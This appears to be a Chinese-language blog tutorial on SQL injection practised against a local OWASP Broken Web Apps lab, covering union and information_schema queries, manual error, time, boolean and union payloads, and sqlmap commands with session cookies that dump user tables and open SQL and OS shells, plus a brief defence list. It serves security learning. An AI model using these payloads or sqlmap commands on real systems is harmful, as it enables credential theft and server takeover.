SQL注入攻擊及防禦 手動注入+sqlmap自動化注入實戰(網絡安全學習12)

 

CONTENTS

1 項目實驗環境

2 SQL注入概述

2.1 SQL注入簡介

2.2 SQL注入的危害

3 SQL基礎回顧

3.1 聯合查詢union

3.2 information_schema數據庫

4 SQL注入流程

5 手動注入流程

5.1 基於錯誤的注入

5.2 基於時間的盲注

5.3 基於布爾的注入

5.4 基於UNION的注入

6 sqlmap自動化注入

6.1 GET方法注入

6.2 POST方法注入

6.3 提權操作

7 如何防禦SQL注入


1 項目實驗環境

測試滲透機:kali_linux-2020

鏈接:https://pan.baidu.com/s/1apN96nIcs1Fyx8YmFs24Xg 
提取碼:32ve

目標靶機:owasp_Broken_Web_Apps

鏈接:https://pan.baidu.com/s/1CMJ2aERmDGlXXkhUmjDmtA 
提取碼:9zsj

2 SQL注入概述

2.1 SQL注入簡介

在owasp年度top 10安全問題中,注入高居榜首。SQL注入攻擊指的是通過構建特殊的輸入作爲參數傳入Web應用程序而這些輸入大都是SQL語法裏的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細緻地過濾用戶輸入的數據,致使非法數據侵入系統。

  • 1.對於Web應用程序而言,用戶核心數據存儲在數據庫中,例如MySQL、SQL Server、 Oracle ;
  • 2.通過SQL注入攻擊,可以獲取、修改、刪除數據庫信息,並且通過提權來控制Web服務器等其他操作;
  • 3. SQL注入即攻擊者通過構造特殊的SQL語句,入侵目標系統,致使後臺數據庫泄露數據的過程;
  • 4.因爲SQL注入漏洞造成的嚴重危害性,所以常年穩居0WASP TOP10的榜首!
     

2.2 SQL注入的危害

  1. 拖庫導致用戶數據泄漏;
  2. 危害web等應用的安全;
  3. 失去操作系統的控制權;
  4. 用戶信息被非法買賣;
  5. 危害企業及國家的安全!

3 SQL基礎回顧

現實生產環境中mysql用的居多。對mysql沒有基礎的童鞋可以參考我這篇文章,簡單瞭解一下mysql(主要了解mysql一些查詢語句)。

https://blog.csdn.net/Until_U/article/details/105333489

下面補充一下:owasp的數據庫賬號:root    密碼:owaspbwa

3.1 聯合查詢union

(1)聯合查詢常應用在SQL注入中,下面看一個例子,將下面的A和B這兩個SQL語句聯合,這樣就可以執行查詢到B裏的內容。

A:select user,password from mysql.user;

B:select user_login,user_pass from wordpress.wp_users;

select user,password from mysql.user  union   select user_login,user_pass from wordpress.wp_users;

 

(2)需要注意的是union查詢前後字段數必須相同,不一致的話就會報錯,e.g.:

select user,password,host from mysql.user  union   select user_login,user_pass from wordpress.wp_user;

(3)判斷union前後字段是否一致,可以猜字段數:

select * from dvwa.users union select 1;

select * from dvwa.users union select 1,2;

select * from dvwa.users union select 1,2,3;

select * from dvwa.users union select 1,2,3,4;

select * from dvwa.users union select 1,2,3,4,5;

select * from dvwa.users union select 1,2,3,4,5,6;

猜到之後就可以利用union查詢了,多餘的字段不想查詢可以用數字代替:

select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

3.2 information_schema數據庫

mysql中默認有information_schema數據庫,這個類似於數據字典,存放數據庫中所有的數據庫和表及columns等。

這個數據庫中我們主要先關注tables和columns這兩張表。

(1)查詢數據庫庫名、表名(tables),下面幾句SQL語句執行下熟悉下:

select * from information_schema.TABLES\G

select distinct table_schema from information_schema.TABLES;

select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G

select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES group by TABLE_SCHEMA\G

mysql> select TABLE_NAME from information_schema.tables where table_schema='dvwa';  //類似於show tables
+------------+
| TABLE_NAME |
+------------+
| guestbook  |
| users      |
+------------+
 

(2)查詢數據庫名,表名和字段名 (columns)

select * from information_schema.columns\G
select column_name from information_schema.columns\G
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';

 

4 SQL注入流程

  1. 判斷是否有SQL注入漏洞;
  2. 判斷操作系統、數據庫和web應用的類型;
  3. 獲取數據庫信息,包括管理員信息及拖庫;
  4. 加密信息破解, sqlmap可自動破解;
  5. 提升權限,獲得sql-shell、os-shell、 登錄應用後臺。
     

 

5 手動注入流程

先查看後端代碼:可以知道這邊查詢只有兩個字段,然後輸出三個字段信息。

5.1 基於錯誤的注入

錯誤注入的思路是通過構造特殊的sql語句,根據得到的錯誤信息,確認sql注入點;

通過數據庫報錯信息,也可以探測到數據庫的類型和其他有用信息。

通過輸入單引號,觸發數據庫異常,通過異常日誌診斷數據庫類型,例如這裏是MySQL數據庫。

5.2 基於時間的盲注

利用sleep()函數,檢測SQL語句是否執行,如果在執行,說明是存在SQL注入點的。

 select first_name,last_name from dvwa.users where user_id='1' and sleep(5);
Empty set (5.00 sec)


5.3 基於布爾的注入

我們知道原始語句爲SELECT first_name, last_name FROM users WHERE user_id = $id。

就可以通過SQL注入語句解析: ' or 1=1 -- '

這樣就獲取了所有信息,說明一下:

  • 第一個'用於閉合前面的條件
  • or 1=1 爲真的條件
  • -- 將註釋後面的所有語句

5.4 基於UNION的注入

union利用原始SQL語句進而查詢自己想要的信息。一般通過錯誤和布爾注入點之後,就可以開始通過union語句來獲取有效信息。

(1)下面我們應該猜測數據列數,從而纔可以將union前後字段匹配(前面講union說明了猜測的用法,可以回看哦)。

下面直接界面測試,一個一個嘗試:

 知道出現以下情況,說明SQL語句中有兩個字段:

(2)知道字段數後,就可以獲取當前數據庫及用戶信息。

' union select version(),database() -- '

當前還以查看很多信息了,大可類比,自己動手操作下,好好想!比如:

'union select user,password from users -- '   //查看用戶及密碼

'union select password,concat(first_name,' ',last_name,' ',user) from users -- '  //利用concat函數將多個字段放在一起

 

6 sqlmap自動化注入

SQL注入比較好用的工具,首推開源工具SQLmap。SQLmap是個國內外著名的安全穩定性測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的安全穩定性測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase和SAP MaxDB等數據庫的各種安全漏洞檢測。

在本次實驗我用的用的是kali自帶的sqlmap工具:

 

6.1 GET方法注入

(1)SQLmap參數解析,具體參數可以通過命令  sqlmap -hh  查看(只截取了一部分):

 

(2)我們練習下,首先登錄到user info界面。

(3)隨便輸入一個賬號信息,錯誤的也行。然後複製出錯的URL鏈接。

打開kali,下面看幾個示例:

1.查看當前數據庫

sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch --current-db

2.查看nowasp下的表

 sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch -D nowasp --tables

3. 獲取表中指定的數據,例如獲取mysql數據庫中user表中user,password和host所有信息

sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch -D mysql -T user -C "user,password,host" --dump

比如我知道了WordPress的賬號和密碼就可以登錄上去查看啦:

 

6.2 POST方法注入

(1)下面我們開始注入DVWA這個應用,由於進入DVWA需要賬號密碼,在加上cookie緩存,再進入DVWA下面其他應用就不需要密碼。但是直接注入SQL injection是不可以的,需要加上cookie參數。

 可以嘗試直接注入(下面提示你不可注入,你可以嘗試風險級別):

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbs

提高注入級別,依然沒法注入:

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbs --level 3 --risk=3


 

 

(2)所以要利用cookie參數,我們先了解下客戶機和服務器之間訪問的原理,用戶訪問服務器,輸入密碼,這樣在服務器端就產生session會話信息,保存session ID,對應的用戶端產生cookie保存服務器的session。這樣客戶端在保持會話的時候就不用重複輸入密碼。可借鑑下圖:

(3)下面開始設置cookie參數,我們利用火狐自帶的cookie組件:cookie quick manager。

然後打開它,把cookie裏的內容作爲參數加入命令中:

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" -D "dvwa" -T "users" --columns

 

6.3 提權操作

(1)與數據庫交互 --sql-shell

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" --sql-shell

(2)與操作系統交互(這個可能因爲權限問題沒辦法登上去)

sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" --os-shell

7 如何防禦SQL注入

根據以上SQL注入的學習,我們應該知道SQL注入的攻擊流程,所以我們應該相應的採取一系列措施。

  1. 首先是mysql的安全機制,針對每個庫對單獨一個用戶授權;
  2. 對於單引號' 基於錯誤的注入,應該給予強制過濾;
  3. 建議在web服務器前加一個WAF防火牆,對SQL注入進行攔截。

今日份打卡,over!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章